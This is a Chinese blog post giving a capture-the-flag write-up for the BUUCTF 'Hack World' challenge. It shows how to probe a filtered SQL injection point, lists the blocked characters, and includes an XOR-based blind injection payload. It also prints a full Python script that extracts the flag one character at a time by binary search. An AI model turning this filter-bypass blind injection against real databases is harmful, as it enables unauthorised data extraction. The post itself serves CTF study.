Loading

[BUUCTF题解][CISCN2019 华北赛区 Day2 Web1]Hack World 1

[2021-04-23 23:20:16 更新了脚本,替换了原来又臭又长的二分法代码]

打开页面直接显示出了目标

 看来是要SQL注入把flag表里flag字段读取出来,先手动测试下回显结果,测试出了四种,语句使用单引号闭合。

 正确查询的回显(这是提交的id为1的情况,在id为2时还有另外一种情况)

 查询无效值的回显(如id=0)

查询语句有语法错误的回显

查询语句包含了被检测字符的结果

从回显结果来看报错注入无法使用,接着测试有哪些字符会被检测

";"会被检测,堆叠注入无法使用;"union"会被检测,联合查询无法使用;注释符"/**/"、"#"、"-- "也会被检测,查询语句得配合逻辑符号用单引号来闭合。但是"select"和其他一些必要关键字还是可以使用,盲注相关的一些逻辑符号也未全被检测,其中有"|"、"^"可以使用,刚好可以写脚本来盲注。

这里先手动测了下字段的长度,是42,使用语句如下

1^(SELECT(LENGTH((SELECT(flag)FROM(flag))=42)))^1

那么接下来用脚本盲注就好了,用二分法来盲注(虽然叫脚本,但实际上写的不忍直视)

#别太快,别太快,别太快,BUUCTF设置了访问速度,太快就会导致返回429
import requests as res
import time
def check(string,num,i):
    #URL在这里改
    url="http://47650212-e286-4436-9c8e-318292ee21f2.node3.buuoj.cn/index.php"
    target=r"1^(SELECT(ascii(SUBSTR((SELECT(flag)FROM(flag)),"+str(i)+",1))"+string+str(num)+"))^1"
    data={"id":target}
    while(True):
        if res.post(url,data=data).status_code==200:
            break
        else:
            #在这里设置收到返回429后的等待时间,根据情况可以设置小一点  
            time.sleep(0.5)
    bak=res.post(url,data=data).text
    if bak.find("Hello",0)!=-1:
        return True;
    else:
        return False;
result=""
for i in range(1,43):
    prv=33
    last=130
    print("Now test %d / %d"%(i,42))
    while(prv<=last):
        middle=(prv+last)//2
        if(check("=",middle,i)):
            result=result+chr(middle)
            print("its %c"%(chr(middle)))
            break
        elif(check(">",middle,i)):
            prv=middle+1
        else:
            last=middle-1
print(result)

运行效果如下

 

posted @ 2021-04-10 21:02  Article_kelp  阅读(174)  评论(0)    收藏  举报